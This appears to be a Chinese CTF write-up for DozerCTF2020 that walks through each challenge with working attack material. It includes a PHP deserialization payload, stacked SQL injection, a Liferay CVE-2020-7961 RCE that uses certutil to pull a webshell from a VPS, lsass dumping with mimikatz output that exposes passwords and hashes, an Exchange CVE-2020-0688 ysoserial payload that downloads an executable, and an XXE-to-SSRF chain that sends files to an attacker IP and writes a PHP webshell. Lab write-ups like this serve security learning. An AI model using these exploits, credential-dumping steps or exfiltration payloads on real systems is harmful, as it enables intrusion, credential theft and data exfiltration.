Contents

DozerCTF2020 Writeup

这个比赛赛题质量都很高,且偏向实战多一点,上来就是域渗透属实令人肾透,xxe打ssrf最后差一点做出来比较可惜

真·签到

下载下来是一个exe,打不开,拖进winhex发现: R00yVE1NWlRIRTJFRU5CWUdVM1RNUlJURzRaVEtOUllHNFpUTU9CV0lJM0RRTlJXRzQ0VE9OSlhHWTJET05aUkc1QVRPTUJUR0kyRUVNWlZHNDNUS05aWEc0MlRHTkpaR1pBVElNUldHNDNUT05KVUc0M0RPTUJXR0kyRUtOU0ZHTTRUT09CVUc0M0VFPT09Cgo= base64解码后: GM2TMMZTHE2EENBYGU3TMRRTG4ZTKNRYG4ZTMOBWII3DQNRWG44TONJXGY2DONZRG5ATOMBTGI2EEMZVG43TKNZXG42TGNJZGZATIMRWG43TONJUG43DOMBWGI2EKNSFGM4TOOBUG43EE=== 只有大写字母和数字应该是base32,解码后: 3563394B48576F37356873686B686679757647717A70324B3577577753596A426777547670624E6E3978476B 一般base32完是十六进制: 5c9KHWo75hshkhfyuvGqzp2K5wWwSYjBgwTvpbNn9xGk 由于Base58采用的字符集合为“123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ”,从这不难看出,Base58是纯数字与字母组成而且去掉了容易引起视觉混淆的字符(0:数字零,O:大写O,I:大写i,l:小写L)。9个数字+49个字母=58个。 所以猜测是base58: Dozerctf{base_family_is_so_good}

白给的反序列化

入门反序列化题 源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php

class home
{
    private $method;
    private $args;
    function __construct($method, $args)
    {
        $this->method = $method;
        $this->args = $args;
    }

    function __destruct()
    {
        if (in_array($this->method, array("mysys"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }

    function mysys($path)
    {
        print_r(base64_encode(exec("cat $path")));
    }
    function waf($str)
    {
        if (strlen($str) > 8) {
            die("No");
        }
        return $str;
    }

    function __wakeup()
    {
        $num = 0;
        foreach ($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
            $num += 1;
            if ($num > 2) {
                die("No");
            }
        }
    }
}

if ($_GET['path']) {
    $path = @$_GET['path'];
    unserialize($path);
} else {
    highlight_file(__FILE__);

}
?>

poc:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
//poc
class home
{
    private $method;
    private $args;
    function __construct($method, $args)
    {
        $this->method = $method;
        $this->args = $args;
    }

    function __destruct()
    {
        if (in_array($this->method, array("mysys"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }

    function mysys($path)
    {
        print_r(base64_encode(exec("cat $path")));
    }
    function waf($str)
    {
        if (strlen($str) > 8) {
            die("No");
        }
        return $str;
    }

    function __wakeup()
    {
        $num = 0;
        foreach ($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
            $num += 1;
            if ($num > 2) {
                die("No");
            }
        }
    }
}
$poc = new home("mysys",array("flag.php"));
$a = urlencode(serialize($poc));
print_r($a);
serialize($a);
?> 

payload:

?path=O%3A4%3A%22home%22%3A2%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A5%3A%22mysys%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22flag.php%22%3B%7D%7D

得到:PD9waHAgJGZsYWcgPSAnZmxhZ3tqNG5jOTIwZm04YjJ6MHIybWM3ZHNmODdzNjc4NWE2NzVzYTc3NnZkfSc7Pz4=

base64:<?php $flag = 'flag{j4nc920fm8b2z0r2mc7dsf87s6785a675sa776vd}';?>

sqli-labs 0

根据hint将接下来sql注入的语句全部用url二次编码就行 id=1' # 单引号注入,select被过滤,根据经验直接堆叠 1';show databases;# 1';show tables;# 1';show columns from uziuzi;# 1';handler uziuzi open;handler uziuzi read first;# 回显得到flagflag{594cb6af684ad354b4a59ac496473990}

简单域渗透-flag1

利用CVE-2020-7961命令执行

参考:Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961) CVE-2020-7961 Liferay Portal 反序列化RCE分析

漏洞说明

这题入门漏洞很容易找到,而且网上复现的文章挺多 该洞是个反序列化导致的rce,通过未授权访问其api传递json数据进行反序列化达到加载外部恶意class进而命令执行

影响范围

Liferay Portal 6.1.X Liferay Portal 6.2.X Liferay Portal 7.0.X Liferay Portal 7.1.X Liferay Portal 7.2.X

环境搭建

下载带tomcat的集成版,进入到liferay-ce-portal-7.2.0-ga1\tomcat-9.0.17\bin目录,执行:.\catalina.bat run等待一会就启动了,访问8080端口即可 https://leonsec.gitee.io/images/QQ图片20200615095239.png

https://leonsec.gitee.io/images/QQ图片20200615066303.png

漏洞复现

LifExp.java文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
public class LifExp { 
    static { 
        try { 
            String[] cmd = {"cmd.exe", "/c", "calc.exe"};
            java.lang.Runtime.getRuntime().
exec(cmd).waitFor(); 
        } catch ( Exception e ) { 
            e.printStackTrace(); 
        } 
    } 
}
  • 将LifExp.java放在vps上,因为需要靶机能访问到,使用javac LifExp.java生成LifExp.class
  • 要构造payload还需要一个包:marshalsec-0.0.3-SNAPSHOT-all.jar 我放到蓝奏云上了,有需要自行下载
  • 使用java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://ip:port/ LifExp生成序列化内容(这里的ip是你提供恶意class的vps) https://leonsec.gitee.io/images/QQ图片20200615101659.png
  • 在vps上使用python3 -m http.server 8500在当前目录启动端口8500的web服务
  • 用bp发包:
1
2
3
4
5
6
7
POST /api/jsonws/invoke HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1349
Content-Type: application/x-www-form-urlencoded
Connection: close

cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&defaultData%3Acom.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c6966457870740019687474703a2f2f35392e3131302e3135372e343a383530302f740003466f6f;"}
  • WrapperConnectionPoolDataSource=后面的内容换成marshalsec生成的序列化内容 https://leonsec.gitee.io/images/QQ图片20200615100326.png 成功弹出计算器,(计算器也很无奈)

利用certutil进行远程下载webshell

  • certutil和bitsadmin都可以进行远程http请求,本地用:
1
certutil.exe -urlcache -split -f "http://ip:8500/leon.txt“ leon.txt

https://leonsec.gitee.io/images/QQ图片20200615102916.png

1
bitsadmin /rawreturn /transfer down 'http://ip:8500/leon.txt' D:\leon.txt

都可以成功远程下载文件

  • LifExp.java中需要构造一下:
1
String[] cmd = {"cmd.exe", "/c", "certutil.exe -urlcache -split -f", "http://ip:8500/cmdcmd.jsp", "..\\webapps\\ROOT\\cmdcmd.jsp"};

cmdcmd.jsp是webshell,经过本地测试执行命令的当前路径在liferay-ce-portal-7.2.0-ga1\tomcat-9.0.17\bin 所以需要目录穿越到index.jsp的文件夹,(这里智障了,以为java不能直接访问到没有进行目录映射的jsp,就一直没写文件到这个目录)

  • 然后一样的步骤,生成class文件,post包发过去,就成功在index.jsp目录写入了webshell,蚁剑直接连接即可(有些webshell蚁剑不能连) https://leonsec.gitee.io/images/QQ图片20200615104110.png

flag在桌面C:/Users/root/Desktop/flag.txt Dozerctf{a993e8ce377e05b2cbfa460e43e43757}

  • 方便后续操作可以写个jsp反弹shell https://leonsec.gitee.io/images/QQ图片20200615104723.png

简单域渗透-flag2

先进行简单信息收集,列出域信任关系:

nltest /domain_trusts

https://leonsec.gitee.io/images/QQ图片20200616164210.png 环境为单域,查看ip信息,一般dns服务器就是dc: ipconfig /all:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
C:\Users\root>ipconfig /all

Windows IP ����

   ������  . . . . . . . . . . . . . : Dozer-dmz01
   �� DNS ��׺ . . . . . . . . . . . : dozer.org
   �ڵ�����  . . . . . . . . . . . . : ���
   IP ·�������� . . . . . . . . . . : ��
   WINS ���������� . . . . . . . . . : ��
   DNS ��׺�����б�  . . . . . . . . : dozer.org

��̫�������� Ethernet0:

   �����ض��� DNS ��׺ . . . . . . . : 
   ����. . . . . . . . . . . . . . . : Intel(R) 82574L ǧ����������
   �����ַ. . . . . . . . . . . . . : 00-0C-29-20-FC-D5
   DHCP ������ . . . . . . . . . . . : ��
   �Զ�����������. . . . . . . . . . : ��
   �������� IPv6 ��ַ. . . . . . . . : fe80::956d:4a99:42e5:44e6%12(��ѡ) 
   IPv4 ��ַ . . . . . . . . . . . . : 10.10.10.2(��ѡ) 
   ��������  . . . . . . . . . . . . : 255.255.255.0
   Ĭ������. . . . . . . . . . . . . : 
   DHCPv6 IAID . . . . . . . . . . . : 251661353
   DHCPv6 �ͻ��� DUID  . . . . . . . : 00-01-00-01-26-49-C3-BF-00-0C-29-20-FC-D5
   DNS ������  . . . . . . . . . . . : 10.10.10.3
   TCPIP �ϵ� NetBIOS  . . . . . . . : ������

��̫�������� Ethernet1:

   �����ض��� DNS ��׺ . . . . . . . : 
   ����. . . . . . . . . . . . . . . : Intel(R) 82574L ǧ���������� #2
   �����ַ. . . . . . . . . . . . . : 00-0C-29-20-FC-DF
   DHCP ������ . . . . . . . . . . . : ��
   �Զ�����������. . . . . . . . . . : ��
   �������� IPv6 ��ַ. . . . . . . . : fe80::d543:1779:2299:609%15(��ѡ) 
   IPv4 ��ַ . . . . . . . . . . . . : 192.168.150.73(��ѡ) 
   ��������  . . . . . . . . . . . . : 255.255.255.0
   �����Լ��ʱ��  . . . . . . . . . : 2020��6��14�� 23:42:47
   ��Լ���ڵ�ʱ��  . . . . . . . . . : 2020��6��17�� 23:42:54
   Ĭ������. . . . . . . . . . . . . : 192.168.150.200
   DHCP ������ . . . . . . . . . . . : 192.168.150.200
   DHCPv6 IAID . . . . . . . . . . . : 352324649
   DHCPv6 �ͻ��� DUID  . . . . . . . : 00-01-00-01-26-49-C3-BF-00-0C-29-20-FC-D5
   DNS ������  . . . . . . . . . . . : 192.168.150.200
   TCPIP �ϵ� NetBIOS  . . . . . . . : ������

��������� isatap.{CFE9BA1B-E288-4FFB-9749-199C2D5515CE}:

   ý��״̬  . . . . . . . . . . . . : ý���ѶϿ�
   �����ض��� DNS ��׺ . . . . . . . : 
   ����. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter #2
   �����ַ. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP ������ . . . . . . . . . . . : ��
   �Զ�����������. . . . . . . . . . : ��

��������� isatap.{2D498A64-8D75-4BA5-964D-611E32EF20B3}:

   �����ض��� DNS ��׺ . . . . . . . : 
   ����. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter #4
   �����ַ. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP ������ . . . . . . . . . . . : ��
   �Զ�����������. . . . . . . . . . : ��
   �������� IPv6 ��ַ. . . . . . . . : fe80::5efe:192.168.150.73%17(��ѡ) 
   Ĭ������. . . . . . . . . . . . . : 
   DNS ������  . . . . . . . . . . . : 192.168.150.200
   TCPIP �ϵ� NetBIOS  . . . . . . . : �ѽ���

可以看到几个两个网段,根据经验,一个192.168.150.x应该是宿主机所在ip段,不用管,所以另外的10.10.10.x段应该是虚拟机内部网段 10.10.10.2是本机,所以一般DNS服务器10.10.10.3就是DC

获取本机hash

先下载mimikatz reg save hklm\sam sam reg save hklm\system system 然后下载到本地使用mimikatz: https://leonsec.gitee.io/images/QQ图片20200616182726.png https://leonsec.gitee.io/images/QQ图片20200616182759.png 得到root也就是当前用户密码:P@ssw0rd

  • 直接尝试netstat -na发现3389端口开启,尝试用root用户登录 首先得进行内网代理,使用reGeorg即可 登录成功: https://leonsec.gitee.io/images/QQ图片20200616183757.png

转储内存抓域凭证:

根据提示使用使用微软官方procdump.exe dump内存: 直接使用certutil.exe -urlcache -split -f "http://ip:8500/procdump64.exe“ procdump64.exe即可 然后procdump64.exe -accepteula -ma lsass.exe lsass.dmp https://leonsec.gitee.io/images/QQ图片20200616190445.png 然后执行:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

mimikatz # sekurlsa::logonPasswords full
Opening : 'lsass.dmp' file for minidump...

Authentication Id : 0 ; 78250732 (00000000:04aa02ec)
Session           : RemoteInteractive from 5
User Name         : root
Domain            : DOZER-DMZ01
Logon Server      : DOZER-DMZ01
Logon Time        : 2020/6/16 12:47:35
SID               : S-1-5-21-1495210691-4001662545-2502461571-1001
        msv :
         [00000003] Primary
         * Username : root
         * Domain   : DOZER-DMZ01
         * LM       : 921988ba001dc8e14a3b108f3fa6cb6d
         * NTLM     : e19ccf75ee54e06b06a5907af13cef42
         * SHA1     : 9131834cf4378828626b1beccaa5dea2c46f9b63
        tspkg :
         * Username : root
         * Domain   : DOZER-DMZ01
         * Password : P@ssw0rd
        wdigest :
         * Username : root
         * Domain   : DOZER-DMZ01
         * Password : P@ssw0rd
        kerberos :
         * Username : root
         * Domain   : DOZER-DMZ01
         * Password : P@ssw0rd
        ssp :
        credman :
         [00000000]
         * Username : dozer\shark
         * Domain   : dozer-dc.dozer.org
         * Password : P@ssword

Authentication Id : 0 ; 78236002 (00000000:04a9c962)
Session           : Interactive from 5
User Name         : DWM-5
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2020/6/16 12:47:32
SID               : S-1-5-90-5
        msv :
         [00000003] Primary
         * Username : DOZER-DMZ01$
         * Domain   : DOZER
         * NTLM     : 0aede09a6722cd9c04eb892f5af27068
         * SHA1     : e668a6f212e2c5c8780685436732bb3d64a4e7f0
        tspkg :
         * Username : DOZER-DMZ01$
         * Domain   : DOZER
         * Password : eJ,e!-IVYX_2h %jR+pHL(vNi4kj=PqFY ywV-KX7l=`'oL^-S'h(6q+CzlU0F=>#)+OQ-wzUsk.;ciPQVa!Gtv"]oCNt"dJba<L6D2VT.\e8bhFd^O@O$+i
        wdigest :
         * Username : DOZER-DMZ01$
         * Domain   : DOZER
         * Password : eJ,e!-IVYX_2h %jR+pHL(vNi4kj=PqFY ywV-KX7l=`'oL^-S'h(6q+CzlU0F=>#)+OQ-wzUsk.;ciPQVa!Gtv"]oCNt"dJba<L6D2VT.\e8bhFd^O@O$+i
        kerberos :
         * Username : DOZER-DMZ01$
         * Domain   : dozer.org
         * Password : eJ,e!-IVYX_2h %jR+pHL(vNi4kj=PqFY ywV-KX7l=`'oL^-S'h(6q+CzlU0F=>#)+OQ-wzUsk.;ciPQVa!Gtv"]oCNt"dJba<L6D2VT.\e8bhFd^O@O$+i
        ssp :
        credman :

Authentication Id : 0 ; 77940254 (00000000:04a5461e)
Session           : Interactive from 0
User Name         : shark
Domain            : DOZER
Logon Server      : DOZER-DC
Logon Time        : 2020/6/16 12:45:28
SID               : S-1-5-21-341825-3789073605-4250195040-1109
        msv :
         [00000003] Primary
         * Username : shark
         * Domain   : DOZER
         * LM       : 921988ba001dc8e14a3b108f3fa6cb6d
         * NTLM     : e19ccf75ee54e06b06a5907af13cef42
         * SHA1     : 9131834cf4378828626b1beccaa5dea2c46f9b63
        tspkg :
         * Username : shark
         * Domain   : DOZER
         * Password : P@ssw0rd
        wdigest :
         * Username : shark
         * Domain   : DOZER
         * Password : P@ssw0rd
        kerberos :
         * Username : shark
         * Domain   : DOZER.ORG
         * Password : P@ssw0rd
        ssp :
        credman :

发现shark用户的密码也是P@ssw0rd (其实可以直接操作这步拿root密码)

使用dsquery导出域信息

dsquery * /s 10.10.10.3 /u shark /p P@ssw0rd -attr * -limit 0 > leon.txt 得到:leon 根据提示搜索找到flag2:Dozerctf{3fed7db7fee7a1771b58d309bf9ca851}

简单域渗透-flag3

根据提示和拿到的域信息,找到EXCHANGE SERVERS组:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
cn: DOZER-EXCHANGE
distinguishedName: CN=DOZER-EXCHANGE,CN=Computers,DC=dozer,DC=org
instanceType: 4
whenCreated: 05/13/2020 15:06:52
whenChanged: 06/13/2020 09:49:14
displayName: DOZER-EXCHANGE$
uSNCreated: 16419
memberOf: CN=Exchange Install Domain Servers,CN=Microsoft Exchange System Objects,DC=dozer,DC=org
memberOf: CN=Managed Availability Servers,OU=Microsoft Exchange Security Groups,DC=dozer,DC=org
memberOf: CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=dozer,DC=org
memberOf: CN=Exchange Servers,OU=Microsoft Exchange Security Groups,DC=dozer,DC=org
uSNChanged: 71171
name: DOZER-EXCHANGE
objectGUID: {E650C9C8-43EC-4B65-BD74-657ECD951421}
userAccountControl: 4096

得知提供EXCHANGE邮箱服务的机器名为DOZER-EXCHANGE

  • 可以使用ping或者nslookup机器名得到ip: https://leonsec.gitee.io/images/QQ图片20200616215141.png 所以定位到10.10.10.4 使用用户名dozer\shark,密码P@ssw0rd登录,拿到flag3: Dozerctf{9b35c916c37b00f3359d49b6c9c99667}

简单域渗透-flag4

根据EXCHANGE的漏洞,搜索找到CVE-2020-0688

参考:CVE-2020-0688 exchange远程代码执行漏洞复现 ExchangeServer漏洞CVE-2020-0688复现

简单复现

我们需要四个参数:

1
2
3
4
5
6
7
–validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认,漏洞产生原因)

–validationalg = SHA1(默认,漏洞产生原因)

–generator=B97B4E27(基本默认)

–viewstateuserkey = ASP.NET_SessionId(手工获取,变量,每次登陆都不一致)

前两个值都是默认的,我们只需要找到后两个值即可

获取viewstateuserkey

登录后访问 /ecp/default.aspx,F12打开开发者工具栏,打开Network: viewstateuserkey位于:default.aspx–>Headers–>ASP.NET_SessionId中: 重新发送请求即可找到: https://leonsec.gitee.io/images/QQ图片20200616223809.png

获取generator值

源码搜索__VIEWSTATEGENERATOR获取字段值:(这个值基本上也是相同的) https://leonsec.gitee.io/images/QQ图片20200616223909.png

使用ysoserial.exe生成序列化payload

1
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /c certutil.exe -urlcache -split -f http://ip/test.exe" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="247061cc-fb54-4d4e-bb66-233ffc8e3848" --isdebug -islegacy

获得shell

这里写一个msf马,因为这台机器没有杀软 payload:

1
2
https://ip/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTAT
E=<ViewState>

<ViewState>替换为ysoserial.exe生成的序列化内容并进行url编码: https://leonsec.gitee.io/images/QQ图片20200616224912.png 即图中红框位置

访问获得shell,flag在桌面:Dozerctf{1193173239563ee49664b5e500f687ba}

简单域渗透-flag5

环境没了,等源码复现

svgggggg!

这题是一个盲打XXESSRF,关于SVG图片的漏洞可以参考: Anatomy of Scalable Vector Graphics (SVG) Attack Surface on the Web

SVG,代表可扩展矢量图形是一种基于 XML 的矢量图像格式,用于二维图形,支持交互性和动画。SVG 图像及其行为在 XML 文本文件中定义。可以使用任何文本编辑器以及绘图软件创建和编辑它们。所有主要的现代 Web 浏览器都有 SVG 渲染支持。

简单测试了一下发现没有回显,需要外带信息 在vps上构造恶意svg和xml: xxx.svg:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY % int SYSTEM "http://ip:8500/a.xml">
%int;
%all;
%send;
]>
<svg height="100" width="1000">
  <text x="10" y="20">&send;</text>
</svg>

a.xml:

1
2
3
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/home/r1ck/.bash_history">

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip:8500/?%file;'>">

根据提示拿到用户r1ck的操作记录: https://leonsec.gitee.io/images/QQ图片20200617150330.png

1
2
cd /app
php -S 0.0.0.0:8080

可以看到在8080端口有web服务,由于靶机是内网穿透出来的,所以我们不能直接访问到8080端口,只能利用xxe打ssrf

1
2
3
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/">

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://59.110.157.4:8500/?%file;'>">

得到:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>index</title>
</head>
Hi!
You Find Me .
Flag is nearby.
<body>
</body>
</html>

Array
(
    [id] => 1
    [name] => test
)

发现是个sql注入,尝试注入发现列数为2,然后根据提示写shell 要进行url编码

1
2
3
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/?id=1%27%20union%20select%201,%27%3c?php%20system($%5fGET%5bcmd%5d)%3b?%3e%27%20into%20outfile%27/app/leon.php%27%23">

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip:8500/?%file;'>">

shell语句部分也可以进行hex编码:

1
2
3
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/?id=1%27%20union%20select%201,0x3c3f7068702073797374656d28245f4745545b636d645d293b3f3e%20into%20outfile%27/app/leon.php%27%23">

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip:8500/?%file;'>">

写进去后直接利用即可:

1
2
3
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/leon.php?cmd=ls">

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip:8500/?%file;'>">

看到flag文件直接cat拿到flag